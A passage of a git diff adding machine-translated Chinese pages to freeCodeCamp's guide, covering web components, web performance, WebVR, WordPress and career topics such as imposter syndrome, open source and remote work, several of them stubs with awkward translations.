+Web组件由[W3C](https://w3c.github.io/)创建的一系列Web规范组成。 这些规范描述了一组Web平台API，可用于创建可重用，封装和可自定义的HTML元素。 通过公开浏览器供应商使用的低级Web API来创建您可能已经熟悉的HTML元素，可以使用Web组件 各种环境。 这意味着您是在使用Wordpress站点，服务器呈现的应用程序，使用最新框架的单页应用程序（SPA），还是根本没有框架， 可以使用Web组件。 这是第一次，无论使用什么框架，您都可以将网络理解为一个平台，可以轻松创建独特的体验 从一个平台翻译成另一个平台。
+
+## Web组件规范
+
+Web组件在[四个主要规范](https://www.webcomponents.org/introduction#specifications)中定义。
+
+*   **自定义元素**
+    
+*   [Custom Elements规范](https://w3c.github.io/webcomponents/spec/custom/)为设计和使用新类型的DOM元素奠定了基础。
+    
+*   **暗影DOM**
+    
+*   [Shadow DOM规范](https://w3c.github.io/webcomponents/spec/shadow/)定义了如何在Web组件中使用封装样式和标记。
+    
+*   **ES模块**
+    
+*   [ES模块规范](https://html.spec.whatwg.org/multipage/webappapis.html#integration-with-the-javascript-module-system)定义了包含 以基于标准，模块化，高性能的方式重用JS文档。
+    
+*   **HTML模板**
+    
+*   [HTML模板元素规范](https://html.spec.whatwg.org/multipage/scripting.html#the-template-element/)定义了如何声明 标记的片段在页面加载时未使用，但可以在运行时稍后实例化。
+    
+
+### 更多信息：
+
+*   [Web组件简介](https://www.webcomponents.org/introduction)
+*   [可扩展的Web宣言](https://github.com/extensibleweb/manifesto)
+*   [W3C Web组件规范](https://w3c.github.io/webcomponents/explainer/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/web-components/libraries-used-to-create-web-components/index.md b/client/src/guide/chinese/web-components/libraries-used-to-create-web-components/index.md
new file mode 100644
index 0000000000..d5d4e04043
--- /dev/null
+++ b/client/src/guide/chinese/web-components/libraries-used-to-create-web-components/index.md
@@ -0,0 +1,11 @@
+---
+title: Libraries to use to create web components
+localeTitle: 用于创建Web组件的库
+---
+#### 用于构建Web组件的库
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/web-components/libraries-used-to-create-web-components/index.md) 。
+
+这种快速风格指南有助于确保您的拉取请求被接受。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/web-components/shadow-dom/index.md b/client/src/guide/chinese/web-components/shadow-dom/index.md
new file mode 100644
index 0000000000..31bc16f2b7
--- /dev/null
+++ b/client/src/guide/chinese/web-components/shadow-dom/index.md
@@ -0,0 +1,11 @@
+---
+title: Shadow DOM
+localeTitle: 暗影DOM
+---
+#### 暗影DOM
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/web-components/shadow-dom/index.md) 。
+
+这种快速风格指南有助于确保您的拉取请求被接受。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/web-performance/index.md b/client/src/guide/chinese/web-performance/index.md
new file mode 100644
index 0000000000..f750a1951f
--- /dev/null
+++ b/client/src/guide/chinese/web-performance/index.md
@@ -0,0 +1,13 @@
+---
+title: Web & App Performance
+localeTitle: 网络和应用程序性能
+---
+## 网络和应用程序性能
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/web-performance/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
+
+[Web＆App Performance Wikipedia文章](https://en.wikipedia.org/wiki/Web_performance)
\ No newline at end of file
diff --git a/client/src/guide/chinese/web-performance/website-monitoring/index.md b/client/src/guide/chinese/web-performance/website-monitoring/index.md
new file mode 100644
index 0000000000..a9ac2ae5e8
--- /dev/null
+++ b/client/src/guide/chinese/web-performance/website-monitoring/index.md
@@ -0,0 +1,13 @@
+---
+title: Website Monitoring
+localeTitle: 网站监控
+---
+## 网站监控
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/web-performance/website-monitoring/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
+
+[网站监控维基百科文章](https://en.wikipedia.org/wiki/Website_monitoring)
\ No newline at end of file
diff --git a/client/src/guide/chinese/web-performance/website-monitoring/real-user-monitoring/index.md b/client/src/guide/chinese/web-performance/website-monitoring/real-user-monitoring/index.md
new file mode 100644
index 0000000000..acec52d8bc
--- /dev/null
+++ b/client/src/guide/chinese/web-performance/website-monitoring/real-user-monitoring/index.md
@@ -0,0 +1,13 @@
+---
+title: Real User Monitoring
+localeTitle: 真实用户监控
+---
+## 真实用户监控
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/web-performance/website-monitoring/real-user-monitoring/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
+
+[真实用户监控维基百科文章](https://en.wikipedia.org/wiki/Real_user_monitoring)
\ No newline at end of file
diff --git a/client/src/guide/chinese/web-performance/website-monitoring/synthetic-monitoring/index.md b/client/src/guide/chinese/web-performance/website-monitoring/synthetic-monitoring/index.md
new file mode 100644
index 0000000000..ad908679a7
--- /dev/null
+++ b/client/src/guide/chinese/web-performance/website-monitoring/synthetic-monitoring/index.md
@@ -0,0 +1,13 @@
+---
+title: Synthetic Monitoring
+localeTitle: 综合监测
+---
+## 综合监测
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/web-performance/website-monitoring/synthetic-monitoring/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
+
+[综合监测维基百科文章](https://en.wikipedia.org/wiki/Synthetic_monitoring)
\ No newline at end of file
diff --git a/client/src/guide/chinese/web-virtual-reality/index.md b/client/src/guide/chinese/web-virtual-reality/index.md
new file mode 100644
index 0000000000..a56b4b9721
--- /dev/null
+++ b/client/src/guide/chinese/web-virtual-reality/index.md
@@ -0,0 +1,42 @@
+---
+title: Virtual Reality Development on The Web
+localeTitle: 网络上的虚拟现实开发
+---
+## 网络上的虚拟现实开发
+
+本节包含使用框架（如A-Frame Framework，WebVR和Three.js）与虚拟现实应用程序开发相关的文章。
+
+## 构架
+
+*   A-Frame - https://aframe.io/
+*   three.js - https://threejs.org/
+
+## 虚拟现实的历史资源
+
+*   英国虚拟现实社会 - https://www.vrs.org.uk/virtual-reality/history.html
+
+## 虚拟现实耳机等
+
+*   虚拟现实耳机在维基百科上的比较- https://en.wikipedia.org/wiki/Comparison虚拟_现实_ _耳机_
+*   Google Cardboard - https://vr.google.com/cardboard/
+*   Google Daydream - https://vr.google.com/daydream/
+*   Oculus - https://www.oculus.com/
+*   三星Gear VR - https://www.samsung.com/global/galaxy/gear-vr/
+*   https://samsungvr.com/
+*   HTC - https://www.vive.com/us/
+
+## 各种虚拟现实创作的示例
+
+*   繁星满天的夜景立体声VR体验 - https://youtu.be/G7Dt9ziemYA
+*   在梵高的画作中 - https://gfycat.com/SimpleImaginaryIberianmidwifetoad
+
+## 一些公司在网上制作VR工具
+
+*   Scapic - https://scapic.com
+*   Vizor - https://site.vizor.io/
+*   Mirra - https://mirra.co/
+
+## 浏览器兼容性
+
+*   Firefox版本55中添加了WebVR支持。 - https://support.mozilla.org/en-US/kb/view-virtual-reality-firefox-webvr
+*   Web版本支持已添加到Chrome版本65 Canary Builds - https://webvr.info/get-chrome/
\ No newline at end of file
diff --git a/client/src/guide/chinese/wordpress/index.md b/client/src/guide/chinese/wordpress/index.md
new file mode 100644
index 0000000000..c74817d5d7
--- /dev/null
+++ b/client/src/guide/chinese/wordpress/index.md
@@ -0,0 +1,14 @@
+---
+title: WordPress
+localeTitle: WordPress的
+---
+# WordPress的
+
+WordPress是一个基于PHP和MySQL的免费开源内容管理系统。功能包括插件架构和模板系统。它与博客最相关，但支持其他类型的网络内容，包括更传统的邮件列表和论坛，媒体画廊和在线商店。
+
+WordPress占据了所有网站的近27％，目前在CMS市场份额中占主导地位。这个开源平台由庞大的社区提供支持，通过主题/插件和自定义软件为数十亿美元经济提供支持。
+
+### 更多信息
+
+*   [WordPress Codex：在线手册](https://codex.wordpress.org/)
+*   [WordPress代码参考](https://developer.wordpress.org/reference/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/working-in-tech/code-reviews/index.md b/client/src/guide/chinese/working-in-tech/code-reviews/index.md
new file mode 100644
index 0000000000..3976ac1921
--- /dev/null
+++ b/client/src/guide/chinese/working-in-tech/code-reviews/index.md
@@ -0,0 +1,9 @@
+---
+title: Code Reviews
+localeTitle: 代码评论
+---
+## 代码评论
+
+代码审查是许多软件开发团队的常见做法。代码审查涉及 团队成员调查彼此的代码提交以检查错误，错误的逻辑或 潜在的改进。对于那些之前没有经历过代码审查过程的人， 它可能是令人生畏的，然而，它是一个非常宝贵的过程来帮助你 成长为开发者。
+
+在整个代码审查过程中保持谦虚是很重要的。接受你的错误， 在指出你的同伴代码中的改进或错误时要专业 团队成员。
\ No newline at end of file
diff --git a/client/src/guide/chinese/working-in-tech/dunning-kruger-effect/index.md b/client/src/guide/chinese/working-in-tech/dunning-kruger-effect/index.md
new file mode 100644
index 0000000000..d7fe9eded2
--- /dev/null
+++ b/client/src/guide/chinese/working-in-tech/dunning-kruger-effect/index.md
@@ -0,0 +1,38 @@
+---
+title: Dunning Kruger Effect
+localeTitle: 催款克鲁格效应
+---
## 邓宁克鲁格（DK）效应
+
+### 维基百科的定义
+
+在心理学领域， **Dunning-Kruger**效应是一种认知偏差，其中低能力的人遭受虚幻的优越感，错误地评估他们的认知能力比它更大。虚幻优越感的认知偏差源于低能力人识别他们自己的无能的元认知能力。
+
+### 为什么它在软件开发中很重要？
+
+DK效果是软件开发人员的重要学习。可以在所有年龄的开发者中观察到。这在初学者和中级开发者中更为突出。在最初的斗争之后，他们可能会对语言或设计产生过信心。这导致他们低估了系统要求的复杂性，或者更糟糕的是，阻碍了他们提出更好的软件设计。对于更有经验的开发人员来说，这些年来他们似乎已经获得了智慧。他们更谦虚，更擅长判断系统的复杂性。 （但这对所有高级开发者来说可能并非如此。）
+
+### 谨防！
+
+DK效应与[Imposter综合症](https://en.wikipedia.org/wiki/Impostor_syndrome)完全相反。您需要在这两者之间取得完美平衡，以实现专业发展。
+
+### 如何检查我是否患有DK效应？
+
+_你不能！_
+
+对不起，但这个问题没有直接答案。您可以向自己提出以下问题：
+
+*   你能给出准确的估计吗？
+    
+*   您是否愿意学习新概念？
+    
+*   您是否愿意实施或尝试新的设计范例？
+    
+*   你谦虚吗？
+    
+*   您是否能够批评并客观地评估反馈？
+    
+*   你是一个好听众吗？
+    
+    阅读：
+    
+*   [维基百科](https://en.wikipedia.org/wiki/Dunning%E2%80%93Kruger_effect)
\ No newline at end of file
diff --git a/client/src/guide/chinese/working-in-tech/giving-a-conference-talk/index.md b/client/src/guide/chinese/working-in-tech/giving-a-conference-talk/index.md
new file mode 100644
index 0000000000..bd386da640
--- /dev/null
+++ b/client/src/guide/chinese/working-in-tech/giving-a-conference-talk/index.md
@@ -0,0 +1,45 @@
+---
+title: Giving a Conference Talk
+localeTitle: 发表会议讲座
+---
+在技​​术会议或社区聚会上发言可能是加速职业生涯的好方法。它让您有机会分享您学到的东西，是一种在技术上挑战自我的好方法。在会议上发言也是与技术社区内有趣人士会面的机会。
+
+## 选择一个话题
+
+选择一个你感兴趣的话题！您热衷的主题或者您可以讲述精彩故事的主题最佳。头脑风暴可以帮助您将您的想法缩小到真正伟大的想法。
+
+有很多会议都喜欢有早期职业发言人。他们带来了全新的视角，并经常致力于令人兴奋的事情。
+
+## 从小开始
+
+如果您对公开演讲/技术演讲感兴趣，您可以从小事做起。许多社区都有各种技术的聚会小组。你可以在其他地方提出一个闪电话题（简短的谈话，通常是5分钟）。
+
+## 创建一个大纲
+
+在项目符号列表中组织您的想法。这将有助于您在撰写演讲时以及向征集建议书（CFP）提交摘要时。
+
+## 向会议提交提案
+
+您可以在[**PaperCall**](https://papercall.io)等网站上找到会议，通过社交媒体，通过Twitter上的[**回拨女性**](https://twitter.com/callbackwomen) ，或者只是使用搜索引擎。
+
+大多数情况下，您可以向多个会议提交提案，也可以向同一会议提交多个提案。如果你这样做，你会增加被接受的机会。您应该注意会议组织者在提交内容中寻找的内容并编辑您的提交以匹配。
+
+许多会议进行初步盲审，这意味着您的身份不会透露给审稿人。提交参加此类练习的会议时，请勿在提交中包含任何可识别信息。有时会议会询问你是否是第一次发言，因为他们希望在讲台上看到新人。
+
+会议的接受率约为20％并不罕见。如果您在第一次提交提案时未被接受，请不要气馁。您可以编辑它并将其提交给另一个会议。
+
+## 完整演示
+
+当你被允许在会议上发言时，是时候完成你的演讲了。抓住你的轮廓并填补空白。
+
+创建幻灯片并添加演讲者备注，以便了解每张幻灯片的内容。请注意会议可能具有的任何幻灯片指南（宽高比，可接受的颜色，字体，字体大小等）并坚持下去。
+
+## 实践
+
+尽可能多地练习，让自己放松。你应该自己给演示文稿一些不同的时间，以确保你完全在时间限制内 - 你不希望因为你的谈话随着时间的推移被切断。尽量不要依赖于您的笔记/幻灯片，这样您就可以通过尽可能多的目光接触来吸引观众。
+
+## 享受会议
+
+你可能会紧张（没关系！）但是尽量享受会议提供的其他会谈和活动。
+
+给自己充足的时间事先到你的演讲地点，如果可能的话，带朋友去看你的演讲。请注意，许多会议现在提前记录会谈并为此做好准备。在继续之前先做几次深呼吸并尝试度过愉快的时光。如果人们可以看到你很高兴在那里，他们很可能会很高兴听到你要说的话。
\ No newline at end of file
diff --git a/client/src/guide/chinese/working-in-tech/imposter-syndrome/index.md b/client/src/guide/chinese/working-in-tech/imposter-syndrome/index.md
new file mode 100644
index 0000000000..ae4fdcbcb3
--- /dev/null
+++ b/client/src/guide/chinese/working-in-tech/imposter-syndrome/index.md
@@ -0,0 +1,44 @@
+---
+title: Imposter Syndrome
+localeTitle: 冒名顶替综合症
+---
+## 冒名顶替综合症
+
+冒名顶替综合症是一种_欺诈_或_不足以_完成工作的感觉。在科技公司工作的软件工程师，开发人员和设计人员中很常见，特别是那些不是来自传统技术背景的人。患有冒名顶替综合症的人对于在工作场所做出贡献的能力存在不足和不安全感。实际上，他们可能完全有能力并且确实成功地完成了他们的任务。
+
+冒名顶替综合症在软件工程师或开发人员中很常见，他们不熟悉这个角色，缺乏一些同事的经验。在各个行业中，冒名顶替综合症在非常成功的人群中非常普遍。研究发现，五分之二的“成功”人士认为自己是欺诈/冒名顶替者，而其他研究表明，高达70％的人在一个时间点或另一个时间点经历了冒名顶替综合症。
+
+如果您患有冒名顶替综合症，您可能会对自己的贡献能力感到不适或不安全感。实际上，您可能完全有能力并为您的任务做出贡献。
+
+如果你与冒名顶替综合症斗争，这些想法是相当普遍的：
+
+*   “我在这是要干嘛？”
+*   “我不是开发者。我在愚弄自己和其他人。” （感觉假的）
+*   “我的同事比我聪明得多;我永远无法与他们相提并论。” （破坏自己的成就）
+*   “我的同事告诉我，我已经取得了很多成就，但我觉得这还不够。” （折扣好评）
+*   “我不知道我是如何完成面试的。” （感觉只有运气决定结果）
+*   “当人们意识到我并不像我描绘的那样聪明时，我会被嘲笑和解雇。” （担心失败）
+*   “我的智商不足以在这里工作。” （怀疑固有能力）
+*   “我需要更多的训练才能感觉自己应该来到这里。”
+
+阻碍综合症可能会阻止您在需要帮助时伸出手，从而减缓您的进展。请在论坛或聊天室联系！
+
+#### 克服Imposter综合症
+
+克服冒名顶替综合症的第一步是学习成长心态和固定心态之间的差异。具有成长心态的人相信他们的技能和才能可以通过努力工作，练习，与他人交谈等来发展。或者，具有固定心态的人倾向于相信他们的才能是他们天生就具备的能力。
+
+当您将前景改变为增长思维时，您可以让自己接受可能无法实现的挑战。如果您相信您的技能可以随着时间的推移而发展，那么如果您不知道如何做某事（只要您愿意投入工作）就会更少。
+
+[许多才华横溢，成功的人都会处理Imposter综合症](https://www.thecut.com/2017/01/25-famous-women-on-impostor-syndrome-and-self-doubt.html) 。他们甚至说 - 反直觉 - 不仅成功不能消除Imposter综合症;很多时候，成功会使情况变得更糟。所以，这不是我们征服过的东西。每当我们承担项目，任务等时，我们每天都在征服它。
+
+更多有用的资源可以帮助您了解有关Imposter综合症的更多信息以及解决这些问题的一些提示：
+
+*   [美国心理学会 - 感觉像欺诈？](http://www.apa.org/gradpsych/2013/11/fraud.aspx)
+*   [TED演讲 - 打击冒名顶替综合症](https://www.ted.com/playlists/503/fighting_impostor_syndrome)
+*   [石英 - 冒充综合征是伟大的标志吗？](https://qz.com/606727/is-imposter-syndrome-a-sign-of-greatness/)
+*   [HTTP203 - 冒名顶替综合症](https://www.youtube.com/watch?v=VNr1Kb07aME)
+*   [Ada Initiative - Impostor Syndrome是否使女性远离开放的技术和文化？](https://adainitiative.org/2013/08/28/is-impostor-syndrome-keeping-women-out-of-open-technology-and-culture/)
+*   [DEV - 克服冒名顶替综合症](https://dev.to/kathryngrayson/overcoming-impostor-syndrome-apg)
+*   [FastCompany - 冒名顶替综合症的类型以及如何击败它们](https://www.fastcompany.com/40421352/the-five-types-of-impostor-syndrome-and-how-to-beat-them)
+*   [Startup Bros - 21种经过验证的克服Imposter Syndrom的方法](https://startupbros.com/21-ways-overcome-impostor-syndrome/)
+*   [纽约时报 - 学习如何应对冒名顶替综合症](https://www.nytimes.com/2015/10/26/your-money/learning-to-deal-with-the-impostor-syndrome.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/working-in-tech/index.md b/client/src/guide/chinese/working-in-tech/index.md
new file mode 100644
index 0000000000..8c94a63edc
--- /dev/null
+++ b/client/src/guide/chinese/working-in-tech/index.md
@@ -0,0 +1,52 @@
+---
+title: Working in Tech
+localeTitle: 在Tech。工作
+---
+## 在Tech。工作
+
+各种与技术相关的领域，例如网站开发，设计，数据科学和产品管理，往往被归结为全面的术语“技术”。
+
+本节将重点介绍技术工作的各个方面。我们将讨论少数民族和非传统教育背景的人所面临的其他职业挑战。这包括在某些行业和组织中特别普遍存在的性别歧视和年龄歧视等问题。
+
+### 计算机安全
+
+计算机安全领域每年都在快速增长，在最近的一份报告中估计，到2021年他们将有350万个未填充的工作岗位。需求是由于网络攻击的增加以及每天创建的数据量，数据如今非常有价值，需要保持安全和安全。
+
+### 技术相关工作的例子
+
+*   软件开发师
+*   计算机系统分析师
+*   Web开发人员
+*   IT经理
+*   电脑系统管理员
+
+### 图书
+
+[关于面孔：交互设计的要点](https://amzn.to/2uwtugk)
+
+[系统思考：入门](https://amzn.to/2u6FbJF)
+
+[思考，快速和缓慢](https://amzn.to/2tnnlTN)
+
+[学习Haskell的好消息吧！](https://amzn.to/2veOjdv)
+
+[像程序员一样思考](https://www.nostarch.com/thinklikeaprogrammer)
+
+陷阱：如何构建习惯形成产品：amzn.to/2bVG5AQ
+
+Sheryl Sandberg的“精益求精：女性，工作和领导意志”http://amzn.to/2igRgoq
+
+要查看完整列表，请访问：https：//talkpython.fm/episodes/show/130/10-books-python-developers-should-be-reading
+
+### 用品
+
+*   [我们解雇了顶尖人才。我们做出的最佳决定。](https://medium.freecodecamp.org/we-fired-our-top-talent-best-decision-we-ever-made-4c0a99728fde)
+*   [你解雇了顶尖人才。我希望你快乐。](https://medium.com/@deusexmachina667/you-fired-your-top-talent-i-hope-youre-happy-cf57c41183dd)
+*   [如何运行成功的开发过程（即使您不是技术人员）](https://medium.freecodecamp.org/how-to-run-a-successful-development-process-even-if-youre-not-technical-185d0558c89a)
+*   [什么是技术债务？为什么几乎每个创业公司都拥有它？](https://medium.freecodecamp.org/what-is-technical-debt-and-why-do-most-startups-have-it-9a54458daabf)
+*   [你如何能够获得一个6位数的工作在没有任何关系的技术中 - 提示我从谷歌和其他科技巨头那里获得工作机会](https://medium.freecodecamp.org/how-you-can-land-a-6-figure-job-in-tech-with-no-connections-6eed0de26ea4)
+*   [完整的软件开发人员职业指南](https://simpleprogrammer.com/products/careerguide/)
+
+### 播客
+
+[10本书Python开发者应该阅读 - talkpython.fm](https://talkpython.fm/episodes/show/130/10-books-python-developers-should-be-reading)
\ No newline at end of file
diff --git a/client/src/guide/chinese/working-in-tech/open-data/index.md b/client/src/guide/chinese/working-in-tech/open-data/index.md
new file mode 100644
index 0000000000..57f68bec5e
--- /dev/null
+++ b/client/src/guide/chinese/working-in-tech/open-data/index.md
@@ -0,0 +1,21 @@
+---
+title: Open Data
+localeTitle: 打开数据
+---
+## 打开数据
+
+开放数据是免费提供的数据，任何人都可以_访问，重用和共享数据_ 。
+
+以下几点是开放数据的特征：
+
+*   通过以通用的可理解格式提供数据，数据变得可用。
+*   数据必须在开放许可下提供。这允许任何人使用，重新分发和修改它。
+
+开放数据可以帮助政府，企业和个人。它可以改善服务，带来社会经济变化，保护地球。
+
+您可以使用开放数据的一种方法是通过Civic Hacking在您的本地代码中为America Brigade。
+
+#### 更多信息：
+
+*   [打开数据维基百科页面](https://en.wikipedia.org/wiki/Open_data)
+*   [找你的旅](http://brigade.codeforamerica.org/brigade/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/working-in-tech/open-source/index.md b/client/src/guide/chinese/working-in-tech/open-source/index.md
new file mode 100644
index 0000000000..6719ee3f5d
--- /dev/null
+++ b/client/src/guide/chinese/working-in-tech/open-source/index.md
@@ -0,0 +1,36 @@
+---
+title: Open Source
+localeTitle: 开源
+---
+## 开源
+
+开源软件是任何类型的软件，公众可以免费使用，修改或下载。任何人都能够创建一个开源项目。
+
+开源项目通过创意许可合法开放。他们的创作者随时都会对其进行更改，维护或放弃。许多开源项目都有自愿添加和编辑代码的贡献者，越来越多的开源项目在当今最流行的软件中占据主要地位。
+
+### 好处
+
+开源不依赖于最初创建它的公司或作者。在公司失败的情况下，代码继续存在，用户将继续开发它。此外，它使用每个人都可以访问的开放标准;因此，它没有专有软件中存在的不兼容格式的问题。
+
+此外，使用开源软件的公司不必考虑复杂的许可模式，也不需要像产品激活或序列号那样的反盗版措施。
+
+与专有软件相比，开源软件通常具有**更低的成本** ， **更高的安全性**和**更好的质量** 。
+
+### 缺点
+
+开源软件的主要缺点是通常使用起来不是很简单。 Linux之类的开源操作系统无法在一天之内学习。在您掌握它们之前，它们需要您的不断努力和培训。您可能需要聘请经过培训的人员来简化操作，这可能会产生额外费用。
+
+### 开源的开源
+
+开源软件允许开发人员查看任何受创作许可的软件的源代码。开源项目使开发人员可以更轻松地在不同项目上做出贡献，甚至无需在本地计算机上下载文件即可对服务器上的实际文件进行更改。
+
+人们可以通过不同的网站找到开源项目，例如：
+
+1.  https://github.com
+2.  https://opensource.google.com/
+
+最大的开源项目之一是Linux。
+
+#### 更多信息：
+
+[开源计划](https://opensource.org/) [维基百科开源模型](https://en.wikipedia.org/wiki/Open-source_model) [维基百科开源软件](https://en.wikipedia.org/wiki/Open-source_software)
\ No newline at end of file
diff --git a/client/src/guide/chinese/working-in-tech/open-source/open-source-newbie/index.md b/client/src/guide/chinese/working-in-tech/open-source/open-source-newbie/index.md
new file mode 100644
index 0000000000..2bebd6b85e
--- /dev/null
+++ b/client/src/guide/chinese/working-in-tech/open-source/open-source-newbie/index.md
@@ -0,0 +1,17 @@
+---
+title: The Battle of Open Source
+localeTitle: 开源之战
+---
+作为开源项目的软件开发新手，似乎令人生畏和彻头彻尾的恐惧。 学习软件开发是一个意想不到的旅程，我很乐意接受。得到了支持 我的家人和朋友甚至没有把旅程变成一个挑战，所以这不是一条轻松的道路。我在路上遇到了很多路障，但我每天都在挑战自己。我读过许多文章，建议作为初级软件开发人员，为开源做出贡献是很重要的。我在内网搜索了一个我认为可以轻松解决的开源项目。
+
+它的严酷现实是，大多数开放源代码并不像我想象的那么容易。总的来说，GitHub一直是一个学习的挑战，我觉得我每天都学到新东西，但是看看几个“初学者友好”的开源项目，我已经明白了它将花费比我更多的时间。以为能够在开源项目中贡献代码。
+
+## 得到教训
+
+尽管上面的段落可能看起来有些偏差，但不要担心。是的，开源项目无需轻视其严肃的业务。花点时间，阅读文档或自述文件，做研究，永远不要放弃或停止学习。无论您是初学者还是经验丰富的开发人员，总会有新的东西需要学习。
+
+## 以下是一些让您保持积极性的文章：
+
+*   https://medium.freecodecamp.org/i-made-my-first-open-source-contribution-within-200-days-and-how-you-can-too-4d5bdbd63fad
+*   https://opensource.com/article/17/5/making-your-first-open-source-contribution
+*   https://medium.com/ifme/my-first-open-source-contribution-68c86de88af9
\ No newline at end of file
diff --git a/client/src/guide/chinese/working-in-tech/remote-versus-onsite/index.md b/client/src/guide/chinese/working-in-tech/remote-versus-onsite/index.md
new file mode 100644
index 0000000000..b31f26b88a
--- /dev/null
+++ b/client/src/guide/chinese/working-in-tech/remote-versus-onsite/index.md
@@ -0,0 +1,35 @@
+---
+title: Remote Versus Onsite
+localeTitle: 远程与现场
+---
+## 远程与现场
+
+有两种主要的工作环境：现场和远程。
+
+### 现场工作
+
+当你想到一个9-5的工作时，你可能会想到现场工作。当您在现场时，您可能在公司的办公室或客户的办公室。无论哪种方式，您都与您工作的其他人处于同一个物理位置。
+
+### 远程工作
+
+当团队成员在不同的物理位置工作时，会发生远程工作您可以在任何地方工作：您的家（没有通勤！），共同工作空间（有时由您的雇主支付），甚至是泰国的海滩。通常，您唯一的限制是您可以访问互联网。
+
+由于现场通信发生频率较低（如果有的话），远程团队通常更多地依赖[Slack](https://slack.com/)和[Skype](https://www.skype.com/)等通信软件。
+
+远程团队可以定期举办公司务虚会，以便团队成员可以见面和闲逛。
+
+### “中间”
+
+有些公司100％在现场，有些公司100％偏远。但是，找到允许您在一周或一周内远程工作的公司或团队并不罕见。这使您可以体验远程工作的一些好处，而不是一直遥远。
+
+在恶劣天气或自然灾害发生时，远程工作可以成为企业的一个很好的工具，作为应急计划。
+
+有些公司还有一个实体办公室，如果你愿意，你可以去上班，但允许你在任何地方工作。最近，大型公司（如IBM）开始采取更多措施，将员工转移到现场就业。但是，许多大型组织仍然非常灵活，愿意让您在家中或其他方便的位置工作。
+
+### 多个团队
+
+较大的公司可能有不同版本的“中间”，他们有许多不同的团队在现场工作，但在多个不同的位置。例如，一个在纽约现场工作的团队和另一个在芝加哥现场工作的团队。您可以与办公室中的其他团队成员一起出去玩，但您也可以使用远程工作技术（Slack，Skype等）与其他团队保持联系并保持同步。团队可能都在同一个项目上工作，或者针对相同的应用程序或平台独立开发一些东西。
+
+### 更多信息：
+
+关于远程工作经济学的昆西拉尔森： [中等](https://medium.freecodecamp.org/the-economics-of-working-remotely-28d4173e16e2)
\ No newline at end of file
diff --git a/client/src/guide/chinese/working-in-tech/unconscious-bias/index.md b/client/src/guide/chinese/working-in-tech/unconscious-bias/index.md
new file mode 100644
index 0000000000..877261fbc1
--- /dev/null
+++ b/client/src/guide/chinese/working-in-tech/unconscious-bias/index.md
@@ -0,0 +1,40 @@
+---
+title: Unconscious Bias
+localeTitle: 无意识的偏见
+---
+## 无意识的偏见
+
+偏见是对某一事物，个人或群体的偏见或偏见，与另一个，人或群体相比，通常以一种被认为是不公平的方式。偏见可能由个人，团体或机构持有，并可能产生消极或积极的后果。因此，偏见的好处只能以牺牲他人为代价。因此，要“偏向”，你必须“有偏见”。
+
+无意识的偏见，也称为“隐性偏见”，发生在人们喜欢看起来像他们和/或分享他们的价值观的人时。例如，一个人可能被吸引到具有相似教育背景的人，来自同一地区，具有相似性取向或与他们具有相同颜色或种族的人。
+
+我们的大脑发生了隐性或无意识的偏见，在我们没有意识到的情况下对人和情况作出了极其迅速的判断和评估。我们的偏见受到我们的背景，文化环境和个人经历的影响。我们甚至可能不了解这些观点和意见，或者意识到它们的全部影响和影响。 3
+
+无意识的偏见比有意识的偏见更为普遍，并且往往与一个人的意识价值观不相容。某些情景可以激活无意识的态度和信仰。例如，当多任务处理或在时间压力下工作时，偏差可能更普遍。 4
+
+如果你在一个[混合远程团队](https://github.com/freeCodeCamp/guides/src/pages/working-in-tech/remote-versus-onsite/index.md)工作，那么根据某人坐在哪里，可能会出现无意识的偏见。例如，人们以不同的方式通过Slack与身体同事（文字“水冷却器”时刻）闲聊。强大的团队和领导者都意识到这一点，并选择[遵循某些协议](https://viewpoints.matrixpartners.com/how-to-support-remote-work-by-removing-unconscious-bias-7a974f953410)工作以最大限度地减少其影响。
+
+#### 项目隐含：
+
+有许多因素会给你带来无意义的偏见，例如：
+
+*   我们的感知 - 我们如何看待人们并感知现实。
+*   我们的态度 - 我们如何对待某些人。
+*   我们的行为 - 我们对某些人的接受/友好。
+*   我们的注意力 - 我们最关注的一个方面。
+*   我们的听力技巧 - 我们积极倾听某些人所说的话。
+*   我们的微观肯定 - 在某些情况下我们对某些人的安慰是多少或多少。
+
+在各种研究中也发现，即使测试中的问题顺序也会导致无意识的偏见。有关于这一主题的非常不错的视频[在这里](https://www.youtube.com/watch?v=75g4d5sF3xI) 。
+
+无意识的偏见比有意识的偏见更为普遍，并且往往与一个人的意识价值观不相容。某些情景可以激活无意识的态度和信仰。例如，当多任务处理或在时间压力下工作时，偏差可能更普遍。
+
+无意识的偏见会影响招聘，晋升和绩效管理方面的决策。当无意识的偏见与受保护的特征相关时，它可能是歧视性的。
+
+#### 更多信息：
+
+1.  [Navarro，Ren​​ee MD。 “什么是无意识的偏见？” _加州大学旧金山分校。_访问时间：2017年10月20日](https://diversity.ucsf.edu/resources/unconscious-bias)
+2.  [“无意识的偏见。” _咨询，调解和仲裁服务。_访问时间：2017年10月20日](http://www.acas.org.uk/index.aspx?articleid=5433)
+3.  [“无意识的偏见。” _平等挑战股。_访问时间：2017年10月20日](https://www.ecu.ac.uk/guidance-resources/employment-and-careers/staff-recruitment/unconscious-bias/)
